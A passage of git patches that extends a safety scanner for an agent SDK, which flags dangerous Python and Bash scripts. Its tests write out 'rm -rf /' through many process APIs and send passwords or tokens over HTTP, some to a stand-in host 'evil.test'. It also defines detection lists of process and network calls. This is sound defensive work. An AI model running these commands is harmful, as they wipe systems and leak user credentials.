stat.S_IMODE(path.parent.parent.stat().st_mode) == 0o700 +def test_jsonl_audit_creates_parent_directories_with_private_mode(monkeypatch, tmp_path): + modes = [] + mkdir = os.mkdir + + def track_mkdir(path, mode=0o777): + modes.append(mode) + return mkdir(path, mode) + + monkeypatch.setattr("trpc_agent_sdk.tools.safety._audit.os.mkdir", track_mkdir) + + JsonlAuditSink(tmp_path / "nested" / "deeper" / "audit.jsonl").emit(create_audit_event(_report(), "Bash", True)) + + assert modes == [0o700, 0o700] + + +def test_jsonl_audit_tolerates_concurrent_parent_creation(monkeypatch, tmp_path): + path = tmp_path / "nested" / "audit.jsonl" + mkdir = os.mkdir + raced = False + + def racing_mkdir(target, mode=0o777): + nonlocal raced + if not raced and target == path.parent: + raced = True + mkdir(target, mode) + raise FileExistsError(str(target)) + return mkdir(target, mode) + + monkeypatch.setattr("trpc_agent_sdk.tools.safety._audit.os.mkdir", racing_mkdir) + + JsonlAuditSink(path).emit(create_audit_event(_report(), "Bash", True)) + + assert raced is True + assert path.exists() + + @pytest.mark.skipif(os.name != "posix", reason="POSIX permission contract") def test_jsonl_audit_does_not_chmod_existing_parent_directory(tmp_path): parent = tmp_path / "audit" diff --git a/tests/tools/safety/test_scanner.py b/tests/tools/safety/test_scanner.py index dd843857f..84a39845e 100644 --- a/tests/tools/safety/test_scanner.py +++ b/tests/tools/safety/test_scanner.py @@ -388,9 +388,9 @@ async def work(default="x", *args, **kwargs): aio.gather(one, two, three, four, five) P().write_text("x") writer.write("x" * 2000000) -""" + """ report = guard.scan(_request(code)) - assert report.findings + assert {"RES002", "PROC001", "FILE003"} <= _rule_ids(report) def test_safety_edge_helpers_cover_invalid_and_dynamic_inputs(): diff --git a/trpc_agent_sdk/tools/safety/_audit.py b/trpc_agent_sdk/tools/safety/_audit.py index 9d54d0259..36f67e2cc 100644 --- a/trpc_agent_sdk/tools/safety/_audit.py +++ b/trpc_agent_sdk/tools/safety/_audit.py @@ -84,9 +84,11 @@ def emit(self, event: SafetyAuditEvent) -> None: while not parent.exists(): missing_parents.append(parent) parent = parent.parent - self._path.parent.mkdir(parents=True, exist_ok=True) - for directory in missing_parents: - directory.chmod(0o700) + for directory in reversed(missing_parents): + try: + os.mkdir(directory, 0o700) + except FileExistsError: + pass descriptor = _open_secure_file(self._path) try: os.write(descriptor, line) From 8668369c54e23e093e2b8f215a736ccfcc0f78c0 Mon Sep 17 00:00:00 2001 From: qtds Date: Tue, 28 Jul 2026 01:08:14 +0800 Subject: [PATCH 28/29] fix(safety): cover process and http call variants --- tests/tools/safety/test_scanner.py | 54 +++++++++++++++ trpc_agent_sdk/tools/safety/_bash_rules.py | 7 ++ trpc_agent_sdk/tools/safety/_python_rules.py | 73 +++++++++++++++++--- 3 files changed, 124 insertions(+), 10 deletions(-) diff --git a/tests/tools/safety/test_scanner.py b/tests/tools/safety/test_scanner.py index 84a39845e..00fbf109b 100644 --- a/tests/tools/safety/test_scanner.py +++ b/tests/tools/safety/test_scanner.py @@ -243,6 +243,25 @@ def test_subprocess_requires_review(guard): assert "PROC001" in _rule_ids(report) +@pytest.mark.parametrize( + "code", + [ + "import subprocess\nsubprocess.check_output(['rm', '-rf', '/'])", + "import subprocess\nsubprocess.check_call(['rm', '-rf', '/'])", + "import subprocess\nsubprocess.getoutput('rm -rf /')", + "import subprocess\ngetattr(subprocess, 'check_output')(['rm', '-rf', '/'])", + "import os\nos.execvp('rm', ['rm', '-rf', '/'])", + "import os\nos.execle('/bin/rm', 'rm', '-rf', '/', {})", + "import os\nos.spawnl(os.P_WAIT, '/bin/rm', 'rm', '-rf', '/')", + "import os\nos.spawnle(os.P_WAIT, '/bin/rm', 'rm', '-rf', '/', {})", + ], +) +def test_process_call_variants_scan_nested_recursive_delete(guard, code): + report = guard.scan(_request(code)) + assert report.decision == SafetyDecision.DENY + assert {"PROC001", "FILE001"} <= _rule_ids(report) + + def test_shell_injection_with_delete_denied(guard): report = guard.scan(_request("echo ok; rm -rf /", ScriptLanguage.BASH)) assert report.decision == SafetyDecision.DENY @@ -729,6 +748,35 @@ def test_network_get_with_secret_is_denied(guard): assert "SECRET001" in _rule_ids(report) +@pytest.mark.parametrize( + "code", + [ + ("import requests\n" + "password = get_password()\n" + "requests.delete('https://evil.test/item', data=password)"), + ("import requests\n" + "password = get_password()\n" + "getattr(requests, 'delete')('https://evil.test/item', data=password)"), + ("import requests\n" + "password = get_password()\n" + "requests.patch('https://api.example.com/item', data=password)"), + ("import requests\n" + "token = get_token()\n" + "requests.head('https://api.example.com/item', headers={'Authorization': token})"), + ("import httpx\n" + "token = get_token()\n" + "httpx.options('https://api.example.com/item', headers={'Authorization': token})"), + ("import httpx\n" + "password = get_password()\n" + "httpx.delete('https://api.example.com/item', data=password)"), + ], +) +def test_http_method_variants_with_secret_are_denied(guard, code): + report = guard.scan(_request(code)) + assert report.decision == SafetyDecision.DENY + assert "SECRET001" in _rule_ids(report) + + def test_request_method_uses_second_url_argument(guard): code = "import requests\nrequests.request('GET', 'https://api.example.com/v1')" report = guard.scan(_request(code)) @@ -764,6 +812,12 @@ def test_bash_redirection_bypasses_are_blocked(guard, command): assert report.decision != SafetyDecision.ALLOW +@pytest.mark.parametrize("target", ["/dev/null", "/dev/stdout", "/dev/stderr"]) +def test_safe_device_redirection_is_allowed(guard, target): + report = guard.scan(_request(f"echo ok > {target}", ScriptLanguage.BASH)) + assert report.decision == SafetyDecision.ALLOW + + @pytest.mark.parametrize( ("code", "language"), [ diff --git a/trpc_agent_sdk/tools/safety/_bash_rules.py b/trpc_agent_sdk/tools/safety/_bash_rules.py index 0fef46252..236b79053 100644 --- a/trpc_agent_sdk/tools/safety/_bash_rules.py +++ b/trpc_agent_sdk/tools/safety/_bash_rules.py @@ -66,6 +66,7 @@ "-w" }) _REDIRECT_PATH_RE = re.compile(r"(?])\d*>>?\s*(?!&)([^\s;&|]+)") +_SAFE_REDIRECT_TARGETS = frozenset({"/dev/null", "/dev/stdout", "/dev/stderr"}) FILE_DELETE = RuleSpec( RiskCategory.FILE, @@ -189,6 +190,10 @@ def _recursive_rm(text: str) -> str | None: return None +def _is_safe_redirect_target(target: str) -> bool: + return target.replace("\\", "/").lower() in _SAFE_REDIRECT_TARGETS + + def _dynamic_network_command(text: str) -> str | None: for segment in _COMMAND_SPLIT_RE.split(text): if _command_name(segment.strip()) not in {"curl", "wget"}: @@ -388,6 +393,8 @@ def _static_rules(text: str, policy: ToolSafetyPolicy, sanitizer: SafetySanitize finding, changed = make_finding("FILE003", match.group(0), FILE_WRITE_REVIEW, sanitizer) findings.append(finding) redacted = redacted or changed + elif _is_safe_redirect_target(target): + continue elif path_is_system_location(target, request.cwd): finding, changed = make_finding("FILE001", match.group(0), FILE_WRITE_DENY, sanitizer) findings.append(finding) diff --git a/trpc_agent_sdk/tools/safety/_python_rules.py b/trpc_agent_sdk/tools/safety/_python_rules.py index 0d2f0917b..49f71369c 100644 --- a/trpc_agent_sdk/tools/safety/_python_rules.py +++ b/trpc_agent_sdk/tools/safety/_python_rules.py @@ -31,7 +31,22 @@ from ._sanitizer import SafetySanitizer _NETWORK_ROOTS = frozenset({"requests", "aiohttp", "socket", "urllib", "httpx"}) -_PROCESS_CALLS = frozenset({"subprocess.run", "subprocess.call", "subprocess.Popen", "os.system", "os.popen"}) +_NETWORK_METHODS = frozenset({ + "connect", + "create_connection", + "delete", + "get", + "head", + "options", + "patch", + "post", + "put", + "request", + "urlopen", +}) +_PROCESS_CALLS = frozenset({"os.popen", "os.system", "subprocess.Popen", "subprocess.call", "subprocess.run"}) +_PROCESS_ROOTS = frozenset({"subprocess"}) +_OS_PROCESS_PREFIXES = ("exec", "spawn") _DELETE_CALLS = frozenset({"shutil.rmtree", "os.remove", "os.unlink", "os.rmdir"}) _DIRECT_FILE_CALLS = frozenset({"open", "builtins.open", "io.open", "os.open", "os.remove", "os.unlink", "os.rmdir"}) _PATH_METHODS = frozenset({"open", "read_text", "read_bytes", "write_text", "write_bytes", "unlink", "rmdir"}) @@ -257,9 +272,21 @@ def _name(self, node: ast.AST) -> str: prefix = self._name(node.value) return f"{prefix}.{node.attr}" if prefix else node.attr if isinstance(node, ast.Call): + dynamic_name = self._dynamic_attribute_name(node) + if dynamic_name: + return dynamic_name return self._name(node.func) return "" + def _dynamic_attribute_name(self, node: ast.Call) -> str: + if self._name(node.func) != "getattr" or len(node.args) < 2: + return "" + attr = self._string(node.args[1]) + if attr is None: + return "" + prefix = self._name(node.args[0]) + return f"{prefix}.{attr}" if prefix else "" + def _string(self, node: ast.AST) -> str | None: if isinstance(node, ast.Constant) and isinstance(node.value, str): return node.value @@ -443,9 +470,9 @@ def visit_Call(self, node: ast.Call) -> Any: name = self._name(node.func) if name in _DELETE_CALLS: self._add("FILE001", node, FILE_DELETE) - if name in _PROCESS_CALLS: + if self._is_process_call(name): self._add("PROC001", node, PROCESS_REVIEW) - self._scan_process_payload(node) + self._scan_process_payload(node, name) self._scan_resource(node, name) self._scan_file_access(node, name) if self._is_network_call(name): @@ -473,10 +500,8 @@ def _scan_secret_sink(self, node: ast.Call, name: str) -> None: if (is_output or is_data_sink) and any(self._contains_secret(arg) for arg in values): self._add("SECRET001", node, SECRET_DENY) - def _scan_process_payload(self, node: ast.Call) -> None: - if not node.args: - return - command = self._command(node.args[0]) + def _scan_process_payload(self, node: ast.Call, name: str) -> None: + command = self._process_command(node, name) if command is None: return findings, changed = scan_bash( @@ -488,6 +513,24 @@ def _scan_process_payload(self, node: ast.Call) -> None: self.findings.extend(findings) self.redacted = self.redacted or changed + def _process_command(self, node: ast.Call, name: str) -> str | None: + if not node.args: + return None + tail = name.split(".")[-1] + if tail.startswith("execv"): + return self._command(node.args[1]) if len(node.args) > 1 else None + if tail.startswith("execl"): + return self._command_from_parts(self._strip_exec_env(tail, node.args[1:])) + if tail.startswith("spawnv"): + return self._command(node.args[2]) if len(node.args) > 2 else None + if tail.startswith("spawnl"): + return self._command_from_parts(self._strip_exec_env(tail, node.args[2:])) + return self._command(node.args[0]) + + @staticmethod + def _strip_exec_env(tail: str, nodes: list[ast.AST]) -> list[ast.AST]: + return nodes[:-1] if tail.endswith("e") else nodes + def _command(self, node: ast.AST) -> str | None: value = self._string(node) if value is not None: @@ -498,12 +541,22 @@ def _command(self, node: ast.AST) -> str | None: return " ".join(shlex.quote(part or "") for part in parts) return None + def _command_from_parts(self, nodes: list[ast.AST]) -> str | None: + parts = [self._string(item) for item in nodes] + if parts and all(part is not None for part in parts): + return " ".join(shlex.quote(part or "") for part in parts) + return None + def _is_network_call(self, name: str) -> bool: root = name.split(".", 1)[0] tail = name.split(".")[-1] - return root in _NETWORK_ROOTS and tail in { - "get", "post", "put", "request", "connect", "create_connection", "urlopen" - } + return root in _NETWORK_ROOTS and tail in _NETWORK_METHODS + + def _is_process_call(self, name: str) -> bool: + root = name.split(".", 1)[0] + tail = name.split(".")[-1] + return (name in _PROCESS_CALLS or root in _PROCESS_ROOTS + or (root == "os" and tail.startswith(_OS_PROCESS_PREFIXES))) def _scan_network(self, node: ast.Call, name: str) -> None: target_node = self._network_target_node(node, name) From c87fe18c64354d8f4cb7ddf009608c30a273b179 Mon Sep 17 00:00:00 2001 From: qtds Date: Tue, 28 Jul 2026 10:45:18 +0800 Subject: [PATCH 29/29] fix(safety): close scanner bypasses Cover process and network API variants, inline secret sources, rebound aliases, and dynamic argv so dangerous scripts cannot fall through to ALLOW. Remove unused execution_root state. --- examples/tool_safety_guard/mcp_server.py | 1 - tests/tools/safety/test_adapters.py | 2 +- tests/tools/safety/test_scanner.py | 188 ++++++++++++++++- trpc_agent_sdk/tools/safety/_bash_rules.py | 3 +- trpc_agent_sdk/tools/safety/_integration.py | 3 - trpc_agent_sdk/tools/safety/_models.py | 1 - trpc_agent_sdk/tools/safety/_python_rules.py | 205 +++++++++++++++++-- 7 files changed, 375 insertions(+), 28 deletions(-) diff --git a/examples/tool_safety_guard/mcp_server.py b/examples/tool_safety_guard/mcp_server.py index a2694553e..dc7c0503f 100644 --- a/examples/tool_safety_guard/mcp_server.py +++ b/examples/tool_safety_guard/mcp_server.py @@ -76,7 +76,6 @@ async def execute_command(command: str, timeout: float | None = None) -> dict: source="mcp.execute_command", )], cwd=str(WORK_DIR), - execution_root=str(WORK_DIR.anchor), metadata=ToolMetadata(name="execute_command"), requested_timeout_seconds=requested_timeout, effective_timeout_seconds=effective_timeout, diff --git a/tests/tools/safety/test_adapters.py b/tests/tools/safety/test_adapters.py index bdb09ed61..1dd3d91f2 100644 --- a/tests/tools/safety/test_adapters.py +++ b/tests/tools/safety/test_adapters.py @@ -134,7 +134,7 @@ def test_bash_tool_family_sets_path_context(): _policy(), ) assert request.execution_home == str(Path.home()) - assert request.execution_root == Path("/workspace").resolve().anchor + assert request.cwd == str(Path("/workspace").resolve()) def test_unknown_tool_with_code_field_is_scanned_conservatively(): diff --git a/tests/tools/safety/test_scanner.py b/tests/tools/safety/test_scanner.py index 00fbf109b..a98c494ee 100644 --- a/tests/tools/safety/test_scanner.py +++ b/tests/tools/safety/test_scanner.py @@ -249,11 +249,35 @@ def test_subprocess_requires_review(guard): "import subprocess\nsubprocess.check_output(['rm', '-rf', '/'])", "import subprocess\nsubprocess.check_call(['rm', '-rf', '/'])", "import subprocess\nsubprocess.getoutput('rm -rf /')", + "import subprocess\nsubprocess.check_output(args=['rm', '-rf', '/'])", + "import subprocess\nsubprocess.run(args=['rm', '-rf', '/'])", + "import subprocess\ntarget = input()\nsubprocess.run(['rm', '-rf', target])", + ("import subprocess\n" + "subprocess.run(args=['safe-name', '-rf', '/'], executable='/bin/rm')"), + ("import subprocess\n" + "target = input()\n" + "subprocess.run(args=['safe-name', '-rf', target], executable='/bin/rm')"), + ("import subprocess\n" + "subprocess.run('rm -rf /', shell=True, executable='/bin/sh')"), "import subprocess\ngetattr(subprocess, 'check_output')(['rm', '-rf', '/'])", + "import asyncio\nasyncio.create_subprocess_exec('rm', '-rf', '/')", + "import asyncio\nasyncio.create_subprocess_shell('rm -rf /')", + "import anyio\nanyio.run_process(['rm', '-rf', '/'])", + ("import anyio\n" + "runner = None\n" + "runner = anyio.run_process\n" + "runner(['rm', '-rf', '/'])"), + "import trio\ntrio.run_process(['rm', '-rf', '/'])", "import os\nos.execvp('rm', ['rm', '-rf', '/'])", + "import os\nos.execv('/bin/rm', ['safe-name', '-rf', '/'])", + "import os\ntarget = input()\nos.execv('/bin/rm', ['safe-name', '-rf', target])", "import os\nos.execle('/bin/rm', 'rm', '-rf', '/', {})", + "import os\nos.posix_spawn('/bin/rm', ['safe-name', '-rf', '/'], {})", + "import os\nos.posix_spawnp('rm', ['safe-name', '-rf', '/'], {})", "import os\nos.spawnl(os.P_WAIT, '/bin/rm', 'rm', '-rf', '/')", + "import os\nos.spawnl(os.P_WAIT, '/bin/rm', 'safe-name', '-rf', '/')", "import os\nos.spawnle(os.P_WAIT, '/bin/rm', 'rm', '-rf', '/', {})", + "import pty\npty.spawn(['rm', '-rf', '/'])", ], ) def test_process_call_variants_scan_nested_recursive_delete(guard, code): @@ -262,6 +286,27 @@ def test_process_call_variants_scan_nested_recursive_delete(guard, code): assert {"PROC001", "FILE001"} <= _rule_ids(report) +def test_unknown_shutil_call_requires_review(guard): + report = guard.scan(_request("import shutil\nshutil.copyfile('/tmp/a', '/tmp/b')")) + assert report.decision == SafetyDecision.NEEDS_HUMAN_REVIEW + assert "FILE003" in _rule_ids(report) + + +@pytest.mark.parametrize( + "code", + [ + "import os\nos.fork()", + "import multiprocessing\nmultiprocessing.Process(target=work)", + ("from concurrent.futures import ProcessPoolExecutor\n" + "ProcessPoolExecutor(max_workers=2)"), + ], +) +def test_process_creation_variants_require_review(guard, code): + report = guard.scan(_request(code)) + assert report.decision == SafetyDecision.NEEDS_HUMAN_REVIEW + assert "PROC001" in _rule_ids(report) + + def test_shell_injection_with_delete_denied(guard): report = guard.scan(_request("echo ok; rm -rf /", ScriptLanguage.BASH)) assert report.decision == SafetyDecision.DENY @@ -777,6 +822,138 @@ def test_http_method_variants_with_secret_are_denied(guard, code): assert "SECRET001" in _rule_ids(report) +@pytest.mark.parametrize( + ("code", "rule_id", "decision"), + [ + ( + "import requests\nsession = requests.Session()\nsession.send(prepared)", + "NET002", + SafetyDecision.NEEDS_HUMAN_REVIEW, + ), + ( + "import httpx\nhttpx.stream('GET', 'https://evil.test/item')", + "NET001", + SafetyDecision.DENY, + ), + ( + ("import aiohttp\n" + "session = aiohttp.ClientSession()\n" + "session.ws_connect('https://evil.test/socket')"), + "NET001", + SafetyDecision.DENY, + ), + ( + "import requests\nrequests.Session().custom_transport(payload)", + "NET002", + SafetyDecision.NEEDS_HUMAN_REVIEW, + ), + ], +) +def test_additional_network_entry_points_are_scanned(guard, code, rule_id, decision): + report = guard.scan(_request(code)) + assert report.decision == decision + assert rule_id in _rule_ids(report) + + +@pytest.mark.parametrize( + "code", + [ + "import requests\nrequests.Session()", + "import httpx\nhttpx.AsyncClient()", + "from urllib.parse import urlparse\nurlparse('https://api.example.com/item')", + ("import requests\n" + "response = requests.get('https://api.example.com/item')\n" + "response.json()"), + ], +) +def test_network_constructors_and_helpers_remain_allowed(guard, code): + report = guard.scan(_request(code)) + assert report.decision == SafetyDecision.ALLOW + + +@pytest.mark.parametrize( + "code", + [ + ("import requests\n" + "requests.post('https://api.example.com/item', data=get_password())"), + ("import requests\n" + "requests.post('https://api.example.com/item', data=config.api_key)"), + ], +) +def test_inline_secret_sources_are_denied(guard, code): + report = guard.scan(_request(code)) + assert report.decision == SafetyDecision.DENY + assert "SECRET001" in _rule_ids(report) + + +@pytest.mark.parametrize( + "code", + [ + ("import httpx\n" + "client = None\n" + "client = httpx.Client()\n" + "password = get_password()\n" + "client.delete('https://api.example.com/item', data=password)"), + ("import httpx\n" + "if use_http:\n" + " client = httpx.Client()\n" + "else:\n" + " client = object()\n" + "password = get_password()\n" + "client.delete('https://api.example.com/item', data=password)"), + ], +) +def test_rebound_network_client_aliases_are_denied(guard, code): + report = guard.scan(_request(code)) + assert report.decision == SafetyDecision.DENY + assert "SECRET001" in _rule_ids(report) + + +@pytest.mark.parametrize( + "code", + [ + ("import aiohttp\n" + "async def send():\n" + " password = get_password()\n" + " async with aiohttp.ClientSession() as session:\n" + " await session.delete('https://api.example.com/item', data=password)"), + ("import httpx\n" + "async def send():\n" + " token = get_token()\n" + " async with httpx.AsyncClient() as client:\n" + " await client.patch(" + "'https://api.example.com/item', headers={'Authorization': token})"), + ], +) +def test_async_context_network_clients_with_secret_are_denied(guard, code): + report = guard.scan(_request(code)) + assert report.decision == SafetyDecision.DENY + assert "SECRET001" in _rule_ids(report) + + +@pytest.mark.parametrize( + "code", + [ + ("import aiohttp\n" + "async def send(session=None):\n" + " password = get_password()\n" + " async with aiohttp.ClientSession() as session:\n" + " await session.delete('https://api.example.com/item', data=password)"), + ("import httpx\n" + "async def send():\n" + " client = None\n" + " token = get_token()\n" + " async with httpx.AsyncClient() as client:\n" + " await client.patch(" + "'https://api.example.com/item', headers={'Authorization': token})"), + ], +) +def test_rebound_async_context_network_clients_with_secret_are_denied(guard, code): + report = guard.scan(_request(code)) + assert report.decision == SafetyDecision.DENY + assert "SECRET001" in _rule_ids(report) + + def test_request_method_uses_second_url_argument(guard): code = "import requests\nrequests.request('GET', 'https://api.example.com/v1')" report = guard.scan(_request(code)) @@ -812,7 +989,16 @@ def test_bash_redirection_bypasses_are_blocked(guard, command): assert report.decision != SafetyDecision.ALLOW -@pytest.mark.parametrize("target", ["/dev/null", "/dev/stdout", "/dev/stderr"]) +@pytest.mark.parametrize( + "target", + [ + "/dev/null", + "'/dev/null'", + '"/dev/null"', + "/dev/stdout", + "/dev/stderr", + ], +) def test_safe_device_redirection_is_allowed(guard, target): report = guard.scan(_request(f"echo ok > {target}", ScriptLanguage.BASH)) assert report.decision == SafetyDecision.ALLOW diff --git a/trpc_agent_sdk/tools/safety/_bash_rules.py b/trpc_agent_sdk/tools/safety/_bash_rules.py index 236b79053..0635f84b6 100644 --- a/trpc_agent_sdk/tools/safety/_bash_rules.py +++ b/trpc_agent_sdk/tools/safety/_bash_rules.py @@ -191,7 +191,8 @@ def _recursive_rm(text: str) -> str | None: def _is_safe_redirect_target(target: str) -> bool: - return target.replace("\\", "/").lower() in _SAFE_REDIRECT_TARGETS + normalized = target.strip().strip("\"'").replace("\\", "/").lower() + return normalized in _SAFE_REDIRECT_TARGETS def _dynamic_network_command(text: str) -> str | None: diff --git a/trpc_agent_sdk/tools/safety/_integration.py b/trpc_agent_sdk/tools/safety/_integration.py index a135c2bee..399e9f569 100644 --- a/trpc_agent_sdk/tools/safety/_integration.py +++ b/trpc_agent_sdk/tools/safety/_integration.py @@ -127,14 +127,12 @@ def adapt_tool_request(tool: Any, args: dict[str, Any], policy: ToolSafetyPolicy cwd_path = Path(tool_cwd) / cwd_path cwd = str(cwd_path.resolve()) local_home = str(Path.home()) if name in _BASH_TOOL_NAMES else None - local_root = Path(cwd).anchor if name in _BASH_TOOL_NAMES and cwd else None env = args.get("env") env_keys = sorted(str(key) for key in env) if isinstance(env, dict) else [] return ScriptScanRequest( payloads=payloads, cwd=cwd, execution_home=local_home, - execution_root=local_root, env_keys=env_keys, metadata=metadata, requested_timeout_seconds=requested, @@ -190,7 +188,6 @@ def adapt_cli_request( payloads=[payload], cwd=resolved_cwd, execution_home=str(Path.home()), - execution_root=Path(resolved_cwd).anchor, metadata=metadata, effective_timeout_seconds=float(policy.max_timeout_seconds), max_output_bytes=policy.max_output_bytes, diff --git a/trpc_agent_sdk/tools/safety/_models.py b/trpc_agent_sdk/tools/safety/_models.py index 0b1dfa0f7..db393264b 100644 --- a/trpc_agent_sdk/tools/safety/_models.py +++ b/trpc_agent_sdk/tools/safety/_models.py @@ -89,7 +89,6 @@ class ScriptScanRequest(BaseModel): payloads: list[ScriptPayload] = Field(default_factory=list) cwd: str = "" execution_home: str | None = None - execution_root: str | None = None env_keys: list[str] = Field(default_factory=list) metadata: ToolMetadata requested_timeout_seconds: float | None = None diff --git a/trpc_agent_sdk/tools/safety/_python_rules.py b/trpc_agent_sdk/tools/safety/_python_rules.py index 49f71369c..086a42d4a 100644 --- a/trpc_agent_sdk/tools/safety/_python_rules.py +++ b/trpc_agent_sdk/tools/safety/_python_rules.py @@ -37,16 +37,82 @@ "delete", "get", "head", + "open", "options", "patch", "post", "put", "request", + "send", + "stream", + "trace", "urlopen", + "ws_connect", +}) +_NETWORK_CLIENT_CONSTRUCTORS = frozenset({ + "AsyncClient", + "Client", + "ClientSession", + "Session", + "build_opener", + "session", + "socket", +}) +_NETWORK_NON_IO_METHODS = _NETWORK_CLIENT_CONSTRUCTORS | frozenset({ + "ClientTimeout", + "Cookies", + "FormData", + "Headers", + "Limits", + "PreparedRequest", + "QueryParams", + "Request", + "TCPConnector", + "Timeout", + "URL", + "aclose", + "build_request", + "close", + "mount", + "prepare_request", +}) +_NETWORK_HELPER_PREFIXES = ("requests.auth.", "requests.cookies.", "requests.models.", "requests.utils.", + "urllib.parse.") +_PROCESS_CALLS = frozenset({ + "asyncio.create_subprocess_exec", + "asyncio.create_subprocess_shell", + "concurrent.futures.ProcessPoolExecutor", + "multiprocessing.Pool", + "multiprocessing.Process", + "os.fork", + "os.forkpty", + "os.popen", + "os.posix_spawn", + "os.posix_spawnp", + "os.startfile", + "os.system", + "pty.spawn", + "anyio.open_process", + "anyio.run_process", + "subprocess.Popen", + "subprocess.call", + "subprocess.run", + "trio.run_process", }) -_PROCESS_CALLS = frozenset({"os.popen", "os.system", "subprocess.Popen", "subprocess.call", "subprocess.run"}) _PROCESS_ROOTS = frozenset({"subprocess"}) _OS_PROCESS_PREFIXES = ("exec", "spawn") +_PROCESS_CREATION_METHODS = frozenset({"Pool", "Process", "ProcessPoolExecutor", "fork", "forkpty"}) +_CONSERVATIVE_FILE_ROOTS = frozenset({"shutil"}) +_RISK_SYMBOL_ROOTS = _NETWORK_ROOTS | _PROCESS_ROOTS | frozenset({ + "anyio", + "asyncio", + "concurrent", + "multiprocessing", + "os", + "pty", + "shutil", + "trio", +}) _DELETE_CALLS = frozenset({"shutil.rmtree", "os.remove", "os.unlink", "os.rmdir"}) _DIRECT_FILE_CALLS = frozenset({"open", "builtins.open", "io.open", "os.open", "os.remove", "os.unlink", "os.rmdir"}) _PATH_METHODS = frozenset({"open", "read_text", "read_bytes", "write_text", "write_bytes", "unlink", "rmdir"}) @@ -56,6 +122,7 @@ r"(?i)(api[_-]?key|access[_-]?key|authorization|credential|token|password|passwd|secret|private[_-]?key)") _UNKNOWN_VALUE = object() _MAX_STATIC_LITERAL_ITEMS = 256 +_DYNAMIC_COMMAND_TOKEN = "__tool_safety_dynamic_arg__" def _static_truthy(node: ast.AST) -> bool: @@ -299,7 +366,10 @@ def _string(self, node: ast.AST) -> str | None: def _contains_secret(self, node: ast.AST) -> bool: for child in ast.walk(node): - if isinstance(child, ast.Name) and child.id in self._secret_names: + if isinstance(child, ast.Name): + if child.id in self._secret_names or _SECRET_NAME_RE.search(child.id): + return True + if isinstance(child, ast.Attribute) and _SECRET_NAME_RE.search(child.attr): return True if isinstance(child, ast.Constant) and isinstance(child.value, str): if _SECRET_NAME_RE.search(child.value) or "PRIVATE KEY-----" in child.value: @@ -342,6 +412,24 @@ def visit_For(self, node: ast.For) -> Any: visit_AsyncFor = visit_For + def visit_With(self, node: ast.With) -> Any: + for item in node.items: + self.visit(item.context_expr) + if item.optional_vars is not None: + self._bind_target(item.optional_vars, item.context_expr) + self._bind_network_context_target(item.optional_vars, item.context_expr) + for statement in node.body: + self.visit(statement) + + visit_AsyncWith = visit_With + + def _bind_network_context_target(self, target: ast.AST, context_expr: ast.AST) -> None: + if not isinstance(target, ast.Name): + return + symbolic = self._symbolic_value(context_expr) + if symbolic.split(".", 1)[0] in _NETWORK_ROOTS: + self._aliases[target.id] = symbolic + def visit_FunctionDef(self, node: ast.FunctionDef) -> Any: for item in [*node.decorator_list, *node.args.defaults, *node.args.kw_defaults]: if item is not None: @@ -400,6 +488,7 @@ def _bind_target(self, target: ast.AST, value_node: ast.AST | None) -> None: self._invalidate_target(target) return was_secret = target.id in self._secret_names + previous_alias = self._aliases.get(target.id) can_track = self._invalidate_binding(target.id) is_secret = bool(_SECRET_NAME_RE.search(target.id)) is_secret = is_secret or (value_node is not None and self._contains_secret(value_node)) @@ -407,17 +496,27 @@ def _bind_target(self, target: ast.AST, value_node: ast.AST | None) -> None: self._secret_names.add(target.id) else: self._secret_names.discard(target.id) - if not can_track or value_node is None: + if value_node is None: return value = self._string(value_node) symbolic = self._symbolic_value(value_node) + if self._is_risk_symbol(symbolic): + self._aliases[target.id] = symbolic + elif not can_track and self._is_risk_symbol(previous_alias): + self._aliases[target.id] = previous_alias or "" + if not can_track: + return if value is not None: self._constants[target.id] = value - if symbolic: + if symbolic and target.id not in self._aliases: self._aliases[target.id] = symbolic if self._is_path_constructor(value_node): self._path_values[target.id] = self._path_constructor_value(value_node) + @staticmethod + def _is_risk_symbol(symbolic: str | None) -> bool: + return bool(symbolic and symbolic.split(".", 1)[0] in _RISK_SYMBOL_ROOTS) + def _invalidate_target(self, target: ast.AST) -> None: for item in ast.walk(target): if isinstance(item, ast.Name): @@ -457,7 +556,7 @@ def _symbolic_value(self, node: ast.AST) -> str: return self._name(node) if isinstance(node, ast.Call): name = self._name(node.func) - if name.split(".", 1)[0] in _NETWORK_ROOTS: + if (name.split(".", 1)[0] in _NETWORK_ROOTS and name.split(".")[-1] in _NETWORK_CLIENT_CONSTRUCTORS): return name return "" @@ -477,6 +576,8 @@ def visit_Call(self, node: ast.Call) -> Any: self._scan_file_access(node, name) if self._is_network_call(name): self._scan_network(node, name) + elif self._is_unknown_network_call(name): + self._add("NET002", node, NETWORK_REVIEW) self._scan_secret_sink(node, name) self.generic_visit(node) @@ -514,18 +615,71 @@ def _scan_process_payload(self, node: ast.Call, name: str) -> None: self.redacted = self.redacted or changed def _process_command(self, node: ast.Call, name: str) -> str | None: - if not node.args: - return None + root = name.split(".", 1)[0] tail = name.split(".")[-1] + if root == "subprocess": + command_node = node.args[0] if node.args else self._keyword_node(node, "args", "cmd") + executable_node = self._keyword_node(node, "executable") + if executable_node is not None: + return self._command_with_executable(executable_node, command_node) + return self._command(command_node) if command_node is not None else None + if name == "asyncio.create_subprocess_exec": + executable_node = node.args[0] if node.args else self._keyword_node(node, "program") + return self._command_with_argument_nodes(executable_node, node.args[1:]) + if name == "asyncio.create_subprocess_shell": + command_node = node.args[0] if node.args else self._keyword_node(node, "cmd", "program") + return self._command(command_node) if command_node is not None else None + if name in {"anyio.open_process", "anyio.run_process", "trio.run_process"}: + command_node = node.args[0] if node.args else self._keyword_node(node, "command") + return self._command(command_node) if command_node is not None else None + if name in {"os.posix_spawn", "os.posix_spawnp"}: + executable_node = node.args[0] if node.args else self._keyword_node(node, "path", "file") + command_node = node.args[1] if len(node.args) > 1 else self._keyword_node(node, "argv", "args") + return self._command_with_executable(executable_node, command_node) + if name == "pty.spawn": + command_node = node.args[0] if node.args else self._keyword_node(node, "argv") + return self._command(command_node) if command_node is not None else None + if tail in _PROCESS_CREATION_METHODS: + return None if tail.startswith("execv"): - return self._command(node.args[1]) if len(node.args) > 1 else None + executable_node = node.args[0] if node.args else self._keyword_node(node, "path", "file") + command_node = node.args[1] if len(node.args) > 1 else self._keyword_node(node, "args", "argv") + return self._command_with_executable(executable_node, command_node) if tail.startswith("execl"): - return self._command_from_parts(self._strip_exec_env(tail, node.args[1:])) + executable_node = node.args[0] if node.args else self._keyword_node(node, "path", "file") + argument_nodes = self._strip_exec_env(tail, node.args[1:]) + return self._command_with_argument_nodes(executable_node, 